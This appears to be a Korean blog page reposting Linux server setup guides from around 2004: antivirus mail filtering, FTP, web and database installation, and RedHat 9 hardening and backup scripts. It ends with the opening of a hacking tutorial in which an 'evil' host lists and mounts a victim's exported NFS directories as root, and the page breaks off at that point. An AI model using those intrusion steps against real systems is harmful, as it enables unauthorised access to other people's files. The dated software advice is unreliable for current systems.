    Subject: 바이러스 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 바이러스 경고 * * * * * * * * * * * * * * *LICENSE발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected the following in a mail sent through your server:AntiVir가 당신의 서버로 보내진 메일에서 아래와 같은 바이러스를 발견함:        VIRUSESThe mail was not delivered.해당 메일은 전송되지 않았습니다.It has been quarantined with the following queue id:아래의 큐이름으로 격리 보관됨:        QUEUEID
    ----------------------------------------------------------------    # vi virus-recipient-내용-----------------------------------------------------------
    Subject: 바이러스 경고! [발신자: SENDER]* * * * * * * * * * * * * * * 바이러스 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected the following in a mail addressed to you:AntiVir가 당신에게로 보내진 메일에서 아래와 같은 바이러스를 발견함:        VIRUSESThe mail was not delivered.해당 메일은 수신 거부 되었습니다.
    ----------------------------------------------------------------    # vi virus-sender-내용-----------------------------------------------------------
    Subject: 바이러스 경고! [발신제목: "SUBJECT"]* * * * * * * * * * * * * * * 바이러스 경고 * * * * * * * * * * * * * * *발신자   : SENDER발신제목 : "SUBJECT"AntiVir has detected the following in a mail from your address:AntiVir가 당신의 주소에서 보내져온 메일에서 아래와 같은 바이러스를 발견함:        VIRUSESThe mail was not delivered.해당 메일은 전송되지 않았습니다.Please remove any potential malicious software from your computer beforesending a new mail with attachments.메일에 첨부되어 전송된 악의적인 소프트웨어를 제거해 주시기 바랍니다.
    ----------------------------------------------------------------백신의 테스트http://www.eicar.org/anti_virus_test_file.htm에서 eicar.com을 다운 받아서메일에 첨부하여 메일 서버로 보내본다.다음의 제목으로 시작하는 메일을 받았다면 백신은 정상 작동하는 것이다.    AntiVir ALERT ...백신에 관한 내용은 http://kltp.kldp.org/를 참고펄로 메일 필터를 제작하여 사용하기 위해서 다음의 펄모듈을 다운받는다    http://www.cpan.org/authors/id/G/GA/GAAS/MIME-Base64-3.00.tar.gz    http://www.cpan.org/authors/id/C/CY/CYING/Sendmail-Milter-0.18.tar.gzBase64 모듈 설치    # tar xzvf MIME-Base64-3.00.tar.gz    # cd MIME-Base64-3.00    # perl Makefile.PL    # make    # make installMilter 모듈 설치. 반드시 sendmail소스 컴파일이 먼저 되어 있어야 한다.    # tar xzvf Sendmail-Milter-0.18.tar.gz    # cd Sendmail-Milter-0.18    # perl Makefile.PL /usr/src/redhat/BUILD/sendmail-8.12.8/ /usr/src/redhat/BUILD/sendmail-8.12.8/obj.Linux.2.4.20-8.i686/    # make    # make installperl로 milter 생성    # vi /etc/mail/SoriiMilter.pl-첨부된 SoriiMilter.pl 소스 참고--------------------------------재부팅 때마다 시작하도록 rc.local에 추가    # vi /etc/rc.local-다음을 마지막에 추가-------------------------------------------
    perl /etc/mail/SoriiMilter.pl SoriiMilter /etc/mail/sendmail.cf &
    ----------------------------------------------------------------로그파일을 생성한다    # touch /var/log/milterlog    로그를 모니터링할 수 있다    # tail -f /var/log/milterlog정기적으로 로그를 청소하도록 cron에 추가한다.    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매주 월요일 4시 : 밀터로그를 청소한다00 04  *      * mon     echo "[cron] monday   AM 04h : clear milter log" > /dev/tty200 04  *      * mon     (echo -n "Milter Log Clear"; date) > /var/log/milterlog
    ----------------------------------------------------------------milter가 백신보다 먼저 실행될 수 있도록 설정 수정    # vi /etc/mail/sendmail.mc-다음의 앞줄에--------------------------------------------------
    INPUT_MAIL_FILTER(`avmilter',`S=inet:3333@localhost,F=T,T=S:10m;R:10m;E:5m')dnl
    -다음을 추가----------------------------------------------------
    INPUT_MAIL_FILTER(`SoriiMilter', `S=local:/var/run/soriimilter.sock')dnl
    ----------------------------------------------------------------    # m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cfmilter를 백그라운드로 실행한다.    # perl /etc/mail/perlmilter/SoriiMilter.pl SoriiMilter /etc/mail/sendmail.cf &그냥 재부팅하여 자동으로 실행 되도록 하여도 된다.실행이 되었는지 확인한다.    # ps -Al | grep perl메일 서버를 재시작한다.    # /etc/init.d/sendmail restart-첨부된 perl 정규식 참고----------------------------------------================================================================================메일 서버를 제외한 서버들의 백신 설정--------------------------------------------------------------------------------윈도우와 공유되는 폴더의 바이러스를 막기 위해 AntiVir 백신 설치다운받는 곳 : http://www.hbedv.com/에서 'AntiVir Linux Server'를 다운받는다    avlxsrv.tgz설치    # tar xzvf avlxsrv.tgz    # cd antivir-server-2.0.9    # ./install    이후엔 대화형으로 진행된다.    대부분 디폴트 값을 선택하고 autoupdate항목에서 y를 한다백신이 실행될 수 있도록 cron을 추가    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매일 5시 : /home 바이러스 검사00 05  *      *  *      echo "[cron] daily    AM 05h : /home virus check" > /dev/tty200 05  *      *  *      /usr/lib/AntiVir/antivir --allfiles -s -nolnk /home
    ----------------------------------------------------------------정해진 주기 말고 업데이트를 설정하고 싶으면 자동 업데이터를 정지시키고 cron으로 업데이트 한다    # /usr/lib/AntiVir/avupdater stop    # crontab -e-다음을 마지막에 추가-------------------------------------------
    # 매 홀수날 2시 : 바이러스 패턴 업데이트00 02 1-31/2  *  *      echo "[cron] odd days AM 02h : update virus pattern" > /dev/tty200 02 1-31/2  *  *      /usr/lib/AntiVir/antivir --update
    ----------------------------------------------------------------================================================================================FTP 서버 설정--------------------------------------------------------------------------------proftpd를 설치한다.설정파일을 수정    # vi /etc/proftpd/proftpd.conf-다음 각 항목들을 수정하거나 추가-------------------------------
    ServerName              "SORIi FTP Server"ServerType              standaloneServerAdmin             ftp@sorii.comDeferWelcome            onMultilineRFC2228        onDefaultRoot             /homeMaxClients              10  "Sorry, maximum users %m -- try again later. 사용자가 많습니다 -- 잠시 후 다시 시도해 주십시오."MaxClientsPerHost       2   "Only one client is allowed to connect! 오직 하나의 연결만 가능합니다!"DisplayConnect          /home/.proftpd/connect.msgDisplayLogin            /.proftpd/welcome.msgDisplayFirstChdir       .message<Anonymous ~ftp># 익명접속 허용하지 않음  <Limit LOGIN>   DenyAll  </Limit></Anonymous>
    ----------------------------------------------------------------    # mkdir /home/.proftpd    # vi /home/.proftpd/connect.msg-내용-----------------------------------------------------------
    ************************************************        Welcome to %V        admin E-mail : %E************************************************    익명 접속을 허용하지 않습니다.    Anonymous user cannot login this server.
    ----------------------------------------------------------------    # vi /home/.proftpd/welcome.msg-내용-----------------------------------------------------------
    ************************************************        Welcome to %V        admin E-mail : %E************************************************    접속자      : %U    로그인 시간 : %T    접속 IP     : %R    접속자 수   : 현재 (%N) / 최대 (%M)    외부 사용자의 접근을 제한합니다.    호스트당 1개의 접속만 허용합니다.    웹호스팅 디렉토리는        /public_html/%U/입니다.    현재 남은 용량은 %f입니다.
    ----------------------------------------------------------------서버 재실행 및 서비스 등록    # /etc/init.d/proftpd restart    # chkconfig proftpd on================================================================================Web 서버 설정--------------------------------------------------------------------------------일단 깔려있는 패키지를 전부 제거실행중인 프로세스를 전부 찾아서 종료시키고 rpm패키지를 제거한다    # ps -ef | grep httpd    # killall httpd    # rpm -qa | grep apache    # rpm -e <패키지 이름> --nodeps    위와 같은 식으로 apache, mysql, php를 전부 제거    mysql같은 경우 몇몇 디렉토리나 파일이 남아 있다면 찾아서 제거.    /etc/my.cnf, /var/lib/mysql, /var/local/mysql 등.MySQL 설치다운받는 곳 : http://www.mysql.com/downloads/mysql-4.0.html에서 'Tarball (tar.gz)'을 다운받는다    mysql-4.0.18.tar.gz데이타베이스는 /home에 위치하도록 한다. (root파티션이 차는 것을 막기 위해)    # mv mysql-4.0.18.tar.gz /usr/local/share    # tar xzvf mysql-4.0.18.tar.gz    # cd mysql-4.0.18    # ./configure --prefix=/usr/local/mysql --localstatedir=/home/.mysqldata --with-charset=euc_kr    # make && make install    # cd /usr/local/mysql    # cp support-files/my-medium.cnf /etc/my.cnf    # ./bin/mysql_install_db    # chown -R mysql:mysql /usr/local/mysql    # chown -R mysql:mysql /home/.mysqldata    # ./bin/mysqld_safe &아파치를 설치한다다운받는 곳 : http://httpd.apache.org/download.cgi 여기서 'httpd-2.0.x.tar.gz'의 최신버전을 다운받는다.    httpd-2.0.48.tar.gz    # tar xzvf httpd-2.0.48.tar.gz    # cd httpd-2.0.48    # ./configure --enable-layout=RedHat --enable-rule=SHARED_CORE --enable-mods-shared=all --disable-info    # make && make install    # cd /etc/httpd/conf    # cp httpd-std.conf httpd.conf    # cp highperformance-std.conf highperformance.conf    # cp ssl-std.conf ssl.conf    # cp /usr/sbin/apachectl /etc/init.d/httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc0.d/S90httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc3.d/S89httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc4.d/S89httpd    # ln -s /etc/rc.d/init.d/httpd /etc/rc.d/rc5.d/S89httpd    # vi /etc/httpd/conf/httpd.conf-다음의 내용이 있는지 확인--------------------------------------
    LoadModule rewrite_module libexec/mod_rewrite.so
    -다음의 내용을--------------------------------------------------
    ServerAdmin you@example.com# ServerName www.example.com:80AddDefaultCharset ISO-8859-1# DefaultLanguage nl
    -아래처럼 바꾼다------------------------------------------------
    ServerAdmin webmaster@sorii.comServerName home.sorii.com:80AddDefaultCharset EUC-KRDefaultLanguage ko
    -그리고 다음을 마지막에 추가------------------------------------
    NameVirtualHost *<VirtualHost *>    ServerName home.sorii.com    ServerAdmin home@sorii.com    DocumentRoot /var/www/html</VirtualHost><VirtualHost *>    ServerName board.sorii.com    ServerAdmin home@sorii.com    DocumentRoot /home/public_html/phpBB2</VirtualHost><VirtualHost *>    ServerName sorii.com    # 모든 호스트에 대해    ServerAlias *.sorii.com    ServerAdmin home@sorii.com    # 호스트명이 생략 되었을 경우에는 home.sorii.com으로    Redirect /index.html http://home.sorii.com/    # 호스트명을 매칭 시켜서 해당 폴더로 리다이렉팅    RewriteEngine on    RewriteCond   %{HTTP_HOST}         ^[^.]+\.sorii\.com$    RewriteRule   ^(.+)                %{HTTP_HOST}$1     [C]    RewriteRule   ^([^.]+)\.sorii\.com(.*) /home/public_html/$1$2</VirtualHost>
    ----------------------------------------------------------------이미지 지원을 위해 freetype과 GD를 설치다운받는 곳 : http://www.freetype.org/에서 찾아들어가서 'freetype의 stable 최신 소스 tar.gz'를 다운받는다    freetype-2.1.7.tar.gz다운받는 곳 : http://www.boutell.com/gd/에서 'Download .tar.gz'를 다운 받는다    gd-2.0.22.tar.gz다음의 라이브러리들이 깔려 있는지 확인한다    libpng    libpng-devel    zlib    zlib-devel    libjpeg    libjpeg-devel    libjpeg6a    # rpm -q <확인할 패키지>    없는 것이 있을 경우 찾아서 설치한다.FreeType을 설치한다    # tar xzvf freetype-2.1.7.tar.gz    # cd freetype-2.1.7    # ./configure    # make && make install    # cd ..GD 라이브러리를 설치한다    # tar xzvf gd-2.0.22.tar.gz    # cd gd-2.0.22    # vi Makefile    # ./configure    # make && make installPHP를 설치한다    # tar xzvf php-4.3.4.tar.gz    # cd php-4.3.4    # ./configure --with-apxs2=/usr/sbin/apxs --with-config-file-path=/etc --with-mysql --with-mod-charset --with-language=korean --with-charset=euc_kr --with-zlib --with-gd=/usr/local --with-jepg-dir=/usr --with-ttf=/usr/local --enable-ftp --enable-calendar    각 함목 중 --with-mysql은 그냥 추가하고    나머지 --with-xx항목은 해당 라이브러리 항목이 설치된 디렉토리를 적는다.    rpm으로 설치된 라이브러리는 /usr아래에 있고 소스로 설치된 항목은 /usr/local아래에 있다.    /usr/lib에서 라이브러리를 찾아서 있으면 /usr인 것이고 /usr/local/lib에 있으면 /usr/local로 하면 된다.    # make && make install    # cp php.ini-dist /etc/php.ini아파치에서 php를 사용할 수 있도록 설정한다    # vi /etc/httpd/conf/httpd.conf-다음의 내용이 있는지 확인--------------------------------------
    LoadModule php4_module lib/apache/libphp4.so
    -다음을 AddType항목 중 마지막에 추가----------------------------
    AddType application/x-httpd-php .php .phtmlAddType application/s-httpd-php-source .phps
    -다음의 내용을--------------------------------------------------
    DirectoryIndex index.html index.html.var
    -아래처럼 바꾼다------------------------------------------------
    DirectoryIndex index.html index.html.var index.php index.phtml index.phps
    ----------------------------------------------------------------phpBB2를 설치다운받는 곳 : http://www.phpbb.com/downloads.php	phpBB-2.0.6.tar.gz	lang_korean.tar.gz	subSilver_korean.tar.gz우선 MySQL에 계정을 하나 만든다	# cd /usr/local/mysql	# ./bin/mysqladmin -u root password '관리자암호'	# ./bin/mysql -u root -p	> create database board;	> use mysql;	> insert into user (host,user,password) values ('localhost','phpbb2',password('암호'));	> insert into db values ('localhost','board','phpbb2','y','y','y','y','y','y','y','y','y','y','y','y');	> flush privileges;	> exit	# ./bin/mysqladmin reloadphpBB2를 압축 풀고 설치	# cd /home/public_html	# tar xzvf phpBB-2.0.6.tar.gz	# cd phpBB2	# cd language	# tar xzvf ../../lang_korean.tar.gz	# cd ../templates	# tar xzvf ../../subSilver_korean.tar.gz웹브라우저에서 http://board.sorii.com으로 phpBB2를 설치 시작한다.	빈 값을 적당히 채워 넣은 후 (DB는 'localhost','board','phpbb2','암호'를 위의 MySQL에서 정한 것과 동일하게 입력)	config.php를 다운 받아서 phpBB2 디렉토리에 덮어쓰고	다시 접속했을 때 지시하는 두개의 디렉토리를 삭제한다.	다시 http://board.sorii.com으로 접속하면 phpBB2설치 완료phpBB2의 여러가지 MOD설치는 http://www.phpbb.com/ http://www.phpbb.co.kr/ http://www.phpbbhacks.com/ 사이트를 참고================================================================================사용자 계정 관리용 스크립트 제작 사용--------------------------------------------------------------------------------메일 서버를 제외한 각 서버의 root로 오는 메일을 메일서버로 돌린다    # vi /etc/aliases-다음의 내용을--------------------------------------------------
    # root:         m
    -아래처럼 바꾼다------------------------------------------------
    root:           root@mail.sorii.com
    ----------------------------------------------------------------NIS와 SMB에 동시에 사용자를 추가 시켜주는 스크립트를 마스터 서버에서 사용한다.    # vi /usr/bin/userman-첨부된 userman 소스를 참고-------------------------------------메일 서버에 그룹을 사용한 메일링 리스트가 가능하도록 스크립트를 제작하고 aliases를 수정한다.    # mkdir /etc/mail/group    # chmod 755 /etc/mail/group    # vi /usr/bin/mkgrpmail-첨부된 mkgrpmail 소스를 참고-----------------------------------    # vi /etc/aliases-다음을 마지막에 추가-------------------------------------------
    # Groupsall:            ":include:/etc/mail/group/sorii.list"manage:         ceo,":include:/etc/mail/group/manage.list"develop:        ceo,":include:/etc/mail/group/develop.list"design:         ceo,":include:/etc/mail/group/design.list"
    ----------------------------------------------------------------    # newaliases사용자가 추가되거나 삭제될 때에는 메일 서버에서 아래의 명령을 실행하여 목록을 갱신한다.    # mkgrpmail사용자를 추가할 때는 sorii그룹을 초기 그룹으로하고 사용자의 성격에 맞게 추가 그룹을 설정한다.    # userman-입력예---------------------------------------------------------
    =========================================          새로운 사용자 추가          =========================================  1. 사용자 ID : tinywolf  2. 전체 이름 : Jeong Seung-Dae  3. 암호      : 입력 됨  4. 초기 그룹 : sorii  5. 추가 그룹 : develop  6. 홈 위치   : /home/develop/tinywolf  7. 쉘 종류   : 기본 쉘 사용  8. 뼈대 복사 : no 스켈렉톤 디렉토리를 복사하지 않습니다.  9. 뼈대 위치 : 기본 위치 사용 10. 새 그룹   : no 사용자 ID와 같은 이름의 새 그룹을 만들지 않습니다. 11. UID       : 기본값 사용 12.
                
    
    
    
    
                        

    'OS > LINUX' 카테고리의 다른 글

    [펌] 웹 로그분석의 절대강자는?  (0) 2004.06.28
    [펌] 표준 보안 퍼미션 설정  (0) 2004.06.25
    [펌] RedHat 9.0 설치후 기본셋  (0) 2004.06.14
    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    Posted by tornado
    |

    1. ftp 보다 좋은 ncftp 설치
     
     서버 작업을 많이하면, ftp를 많이 사용한다. 하지만 ftp 보다 사용하기 편한 ncftp를 알면 ftp 쓰는 것이 그렇게 불편하게 느껴질 수 가 없다. 난 처음부터 ncftp를 사용해 왔다. RH9에서는 기본설치가 안되어 따로 패키지를 받아서 설치 하겠다. 물론 배포판 CD에 있지만, 넣고 마운트하고 어쿠 어쿠 귀찮은 것~~ 간단하게 받아서 설치 할 것이다.

     wget http://ftp.superuser.co.kr/pub/redhat/9/RPMS/ncftp-3.1.5-4.i386.rpm
    위와같은 명령을 입력하면 받아진다.^^ 물론 내가 올려놓았다.
     rpm -Uvh ncftp-3.1.5-4.i386.rpm
    이렇게 하면 설치하고,
     rm -rf ncftp-3.1.5-4.i386.rpm
    이렇게 해서 원본 파일을 지워 버린다.^^ 이렇게 설치를 하면 끝이다. 아주 쉽다^^ 이제 ncftp 의 대표적인 기능 몇가지만 알아 보겠다.

     [doly@doly ~]$ ncftp ftp.superuser.co.kr
    NcFTP 3.0.3 (April 15, 2001) by Mike Gleason (ncftp@ncftp.com).
    Copyright (c) 1992-2001 by Mike Gleason.
    All rights reserved.
    Connecting to ftp.superuser.co.kr...                                                                        
    ProFTPD 1.2.8 Server (ProFTPD Default Installation) [su21.nicekorea.co.kr]
    Logging in...                                                                                               
    Anonymous access granted, restrictions apply.
    Logged in to ftp.superuser.co.kr.                                                                           
    ncftp / >

    위와같이 간단하게 쳐 주면, 무명(anonymous) 로긴이 가능하다.
    물론 -u 옵션을 주면 사용자로긴이 가능하다.
     ncftp -u doly ftp.superuser.co.kr

    그리구 파일이나, 디렉토리이름을 모두 칠 필요 없이 Linux 터미널 처럼 몇자 치고 Tab 키를 누르면, 자동완성이 된다. 이 기능이 아주 좋기 때문에 난 이 프로그램을 쓴다.

    전송기능에 있어 다음과 같이 상황이 나온다.
    ncftp /apache > get httpd-2.0.49.tar.gz
    httpd-2.0.49.tar.gz:                                     5.65 MB  299.92 kB/s  

    이런 이유들 때문에 ncftp를 쓴다. ncget , ncput 등의 명령어도 제공된다. 그건 잘 쓰지 않지만 좋은 프로그램들이다.


    2. MAN 페이지에서 한글이 깨어진다면. 
     아마 RH9를 설치한 모든 사람들이 격을 것이다. 멘 페이지에 가끔 한글로 된 것을 볼 수 있는데, 100% 깨어질 것이다. 다음 화면과 같이~^^



    이렇게 알 수 없는 &&& 문자들로 이루어질 것이다.
    이런 경우 다음 패키지를 깔면 문제가 없다.^^

    [root@doly root]# wget http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm
    --21:33:50--  http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm
               => `less-378-8KR.i386.rpm'
    Resolving ftp.superuser.co.kr... 완료.
    Connecting to ftp.superuser.co.kr[210.114.223.221]:80... connected.
    HTTP 요청을 보냅니다, 서버로부터의 응답을 기다림...200 OK
    길이:   100,767 [audio/x-pn-realaudio-plugin]
    100%[=================================================================>] 100,767      289.43K/s    ETA 00:00
    21:33:50 (289.43 KB/s) - `less-378-8KR.i386.rpm'가 보존되었습니다 [100767/100767]
    [root@doly root]# rpm -Uvh less-378-8KR.i386.rpm
    준비 중...                  ########################################### [100%]
       1:less                   ########################################### [100%]
    [root@doly root]# rm -rf less-378-8KR.i386.rpm

    이렇게 서치가 끝나고 실행해 보면 다음과 같은 결과를 볼 수 있다.


     


    3. rpm으로 커널 업그래이드
     2004년에 커널 버그가 엄청 많이 보고 되었다. 지금까지 나온 커널을 패치한 rpm 버전이 있다. 이것을 설치한다. 물론 조금 더 공부했다며, 최신 버전 커널을 컴파일 해서 설치하는 것도 좋지만, 시간이 너무 오래 걸리고, 알아야할 것도 많기 때문에 지금까지 나온 버그를 모두 고친 커널을 rpm 으로 설치한다.
    wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-smp-2.4.20-30.9.i686.rpm
    wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-2.4.20-30.9.i686.rpm
    rpm -Uvh kernel-smp-2.4.20-30.9.i686.rpm
    rpm -Uvh kernel-2.4.20-30.9.i686.rpm
    rm -rf kernel-*.rpm

    cpu 가 2개라면 smp 커널을 설치해야한다. 하지만 cpu가 하나라면, smp 는 설치하지 말아두 된다.^^

    4. badblock 채크 및 마킹
    설치할 때도  배드블락을 채크했을 것이다. 그렇지만 어디에 배드블럭이 있고 어떻게 되었는지에 대한 정보를 얻을 수 없다. 그래서 다시 배드블락을 채크할 것이다. 그리고 만약 발견된다면, 파일 시스템 수준에서 그 블락을 쓰지 못하게 마킹을 할 것이다.
     [root@doly root]# badblocks -sv /dev/hda11
    Checking for bad blocks in read-only mode
    From block 0 to 2096451
    Checking for bad blocks (read-only test): 2096451/  2096451
    2096449
    2096450
    done                        
    Pass completed, 3 bad blocks found.

    위와같이 3개의 배드블럭이 발견되었다면, 다음 명령어로 아쉬운데로 마킹을 한다. (fsck 명령의 -c 옵션)
    [root@doly root]# fsck.ext3 -cvf /dev/hda11
    e2fsck 1.32 (09-Nov-2002)
    /dev/hda11 is mounted.  
    WARNING!!!  Running e2fsck on a mounted filesystem may cause
    SEVERE filesystem damage.

    Do you really want to continue (y/n)? yes
    /123: recovering journal
    Checking for bad blocks (read-only test): done                        
    Pass 1: Checking inodes, blocks, and sizes
    Pass 2: Checking directory structure
    Pass 3: Checking directory connectivity
    Pass 4: Checking reference counts
    Pass 5: Checking group summary information

    /123: ***** FILE SYSTEM WAS MODIFIED *****
    /123: ***** REBOOT LINUX *****
       78868 inodes used (30%)
          98 non-contiguous inodes (0.1%)
             # of inodes with ind/dind/tind blocks: 3503/14/0
      325956 blocks used (62%)
           0 bad blocks
           0 large files 

       53903 regular files
        3890 directories
        2522 character device files
       15884 block device files
           1 fifo
        4162 links
        2658 symbolic links (2658 fast symbolic links)
           1 socket
    --------
       83021 files

     이렇게 작업을 하였다면, 어느정도 안심해두 된다고 생각한다^^;

    5. tcp_wapper 설정으로 기본 보안 설정
     물론 처음 설치시 iptabls(방화벽)을 구축했지만, tcpd를 사용하는 데몬들중 허용하는 ip에서만 접근 가능하게 설정 할 것이다.

    echo "ALL:ALL" >> /etc/hosts.deny

    이런 간단한 명령어로 모든 서비스를 막는다. 물론 막히는 서비스는 몇가지 안 된다^^ 다 열거하며 힘드니~~
    그런다음 항상 허용할 데몬들과 허용할 ip를 등록한다.

    echo " ipop3d : ALL
    sendmail : ALL
    ALL : 192.168.0." >> /etc/hosts.allow

    위와 같이 입력하여, pop3 서버와 sendmail 은 모든 ip에 대해서 허용하고, 192.168.0.XXX에서 접근 하면 모든 서비스를 허용하도록 한다. 위와 같이 설정하는 것은 telnet 및 ssh에 가장 영향을 많이 받기 때문에 기본 보안설정으로 사용한다. 만약 유동 ip에서 접속한다면 이런 설정이 무의미 하다.^^; ip가 변해서 잘못하면 서버에 접속하지 못하는 불상사가 발생할 수도 있다.

    6. ssh 접속시 root 접속 못하게 설정
     ssh에서 root로 바로 접속해서 사용하면 너무 위험하다. 그래서 일반계정으로 접속한 다음 su - 명령어로 root 권한을 획득한 다음 작업하는 것이 좋다. 다음과 같이 간단하게 설정한다.
    /etc/ssh/sshd_config 파일을 편집해서 다음과 같이 설정한다.
        PermitRootLogin no
    이렇게 하구 sshd를 재시작한다.
    /etc/rc.d/init.d/sshd restart

    7. su 명령어 특정 사용자만 실행 가능하게 설정
      
    우선 root 권한으로 명령을 실행할 수 있는 명령어 sudo를 삭제한다.
    [root@doly bin]# rm -rf /usr/bin/sudo
    아래와같이 권한 설정을 바꾸고,
    chmod 4750 /bin/su
    chown root:wheel /bin/su
    소유그룹을 wheel로 한다. 그런 다음
    /etc/group 파일을 열어 wheel 그룹에 su 명령어를 쓸 사용자들을 등록한다.
    (예 : wheel:x:10:root,doly)

    9. 자동 시간 설정
     자동으로 정확한 시간을 맞추는 것은 의외로 간단하다. 다음과 같이한다.
    [root@doly bin]# crontab -e
    05 00 * * * '/usr/bin/rdate -s time.bora.net && /sbin/clock -w'
    위와 같은 내용을 복사해서 넣으면 된다.  위와같이 설정해 두면, 매일 매일 00시 05분에 time.bora.net에 접속하여 시간을 동기화한다.^^

    10. 일일 백업
      
    이젠, 서버에서 가장 중요한 백업에 대한 설정을 하겠다. RAID로 구성되어 있다면 좋겠지만, 비용 문제 때문에 대부분 이 방법을 사용하지 않는다. 일반적인 방법은 하루에 한번정도 압축해 둔다. 시간은 제일 사용자가 없을 시간을 선택한다. 세벽 4시정도^^ 그리구 만약을 위해 누적 백업할 것이다. 디스크 용량이 충분하다면, 백업 데이터는 많이 가지고 있는 것이 좋다. 자.. 그럼 이런 백업 정책을 구상했다면 이 백업정책을 프로그램으로 짠다. 다음과 같이^^;

    아래 내용을 /root/backup.sh 파일에 넣는다.

    #!/bin/bash
    export Today="`date '+%y-%m-%d'`"
    backup_dir="/backup/data"
    backup_count="2" #### 백업본 보관 일 수 (2일간 보관)

    ########### delete 오래된 백업데이터 삭제
    dirlists=`/bin/ls -t $backup_dir 2>/dev/null`
    i=1
    for dir in $dirlists ; do
      if [ "$i" -ge $backup_count ] ; then
        /bin/rm -rf "$backup_dir/$dir"
      fi
      i=$(($i+1))
    done

    ################ 새로운 디렉토리 생성 ####
    /bin/mkdir -p ${backup_dir}/$Today
    cd ${backup_dir}/$Today

    ###########  home 디렉토리에 사용자별로 백업을 한다.
    dirlists=`/bin/ls -t /home 2>/dev/null`
    for dir in $dirlists ; do
      tar cvfpz ${backup_dir}/$Today/$dir.tar.gz /home/$dir
    done
    ####### 기타 디렉토리를 백업한다
    tar cvfpz ${backup_dir}/$Today/usr.local.tar.gz /usr/local
    tar cvfpz ${backup_dir}/$Today/etc.tar.gz /etc
    tar cvfpz ${backup_dir}/$Today/var.named.tar.gz /var/named
    tar cvfpz ${backup_dir}/$Today/var.spool.mail.tar.gz /var/spool/mail

    ############# 링크를 만들어 준다.####
    rm -rf /backup/today
    ln -s ${backup_dir}/$Today /backup/today


    위의 내용을 복사해서 넣는다. 그리구 실행권한을 준다.
    [root@doly root]# chmod 700 /root/backup.sh
     그 다음 새벽 4시에 자동실행되게 crontab에서 설정한다.
    [root@doly bin]# crontab -e
    00 04 * * * '/root/backup.sh | mail -s "백업결과보고" 메일주소
    백업 결과를 메일로 받을 것이다. 그렇기 때문에 위에 메일주소 부분을 받고자 하는 메일주소 바꿔줘야한다.

    11. 일일 시스템 점검
      
    일일 점검사항은 많으면 많을수록 좋다.^^ 서버에 들어와서 일일이 검사하면 좋겠지만. 여간 귀찮은 일이 아닐 수 없다. 그래서 기본적으로 관찰해야 할 놈들을 모아서 하루에 한번씩 실행한 다음 메일로 받아본다.

     아래 내용을 /root/check.sh 파일에 넣는다.

    #!/bin/bash
    echo -e "\n 1. 오늘날짜:"
    date
    echo -e "\n 2. 디스크 용량 점검 "
    df -h
    echo -e "\n 3. 포트 점검 "
    netstat -an | grep LISTEN
    echo -e "\n 5. /tmp 디렉토리 점검 "
    ls -al /tmp
    ls -al /var/tmp
    echo -e "\n 6. /var/spool/mqueue 점검 (큐에 쌓인 메일 수 카운트==> 너무 많으면 문제) "
    ls -l /var/spool/mqueue | wc -l
    echo -e "\n 7. 실행 프로세스 점검 "
    pstree
    echo -e "\n 8. 최후 접속자 점검"
    lastlog | grep -v "한번도"

    위의 내용을 복사해서 넣는다. 그리구 실행권한을 준다.
    [root@doly root]# chmod 700 /root/check.sh
     그 다음 새벽 7시에 자동실행되게 crontab에서 설정한다.
    [root@doly bin]# crontab -e
    00 07 * * * '/root/check.sh | mail -s "시스템 점검 결과보고" 메일주소
    채크 결과를 메일로 받을 것이다. 그렇기 때문에 위에 메일주소 부분을 받고자 하는 메일주소 바꿔줘야한다.

    12. 본 강좌를 마무리 하며 ...
     
      서버 설치후에 손봐야 할 것이 한 두가지가 아니다. 내가 하는 것은 이 보다 더 많고 복잡하다. 하지만 최소한 해야 한다는 것은 올려 두었다. 위의 내용뿐 아니라 백업이나 점검 같은 경우는 필요하다면 추가해서 결과를 받아보는 것이 좋다.
     지금 까진 기본 설정이 었다. 다음에도 강좌는 계속 이어진다. 본 강좌를 읽고 부디 도움이 되길 바란다. 힘들 게 쓴만큼^^

      혹시 본 강좌에 대한 질문 및 문의사항이 있으면, 메일 한통 보내주기 바란다. 메일주소는 doly 골뱅이superuser.co.kr 이다. 메일 주소를 무단 수집해서 스팸메일을 보내는 이를 막기 위해서 위와 같이 표기했으며, 골뱅이 부분은 @ 치환하면 된다.


     

    출처 : http://www.superuser.co.kr/
     

    'OS > LINUX' 카테고리의 다른 글

    [펌] 표준 보안 퍼미션 설정  (0) 2004.06.25
    [펌] linux setup for hosting  (0) 2004.06.21
    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    Posted by tornado
    |

    1. 다른 시스템의 남의 디렉토리 접근하기

    먼저 showmount로 상대편 시스템의 디렉토리중 공개된 디렉토리를 찾는다.

    evil % showmount -e victim.com
    export list for victim.com:
    /export                                 (everyone)
    /var                                    (everyone)
    /usr                                    easy
    /export/exec/kvm/sun4c.sunos.4.1.3      easy
    /export/root/easy                       easy
    /export/swap/easy                       easy
    위를 보면 공개된 디렉토리의 열거를 볼 수 있다. 요즘의 시스템에는 위와 같이 공개시키는 경우는 드물고, 있다하더라도 보통 은 /usr디렉토리 정도이다. 하지만 /usr디렉토리만 공개되어도 우리가 할 수 있는 목적은 충분히 달성할 수 있다.
    다음으로 할 일은 자기의 시스템에 있는 디렉토리에 상대편의 공개된 디렉토리를 마운트 시키는 일이다. 이제부터는 최소한 루 트(root)의 권한이 있어야한다. 루트가 아니면 hacking도 못해먹는다. ''#''의 prompt표시는 루트의 prompt임을 모두 알것이다.

    evil # mount victim.com:/usr /foo
    evil # cd /foo
    evil # ls -alg
    total 3
       1  drwxr-xr-x    11   root       deamon        512   Jun 19  09:47  .
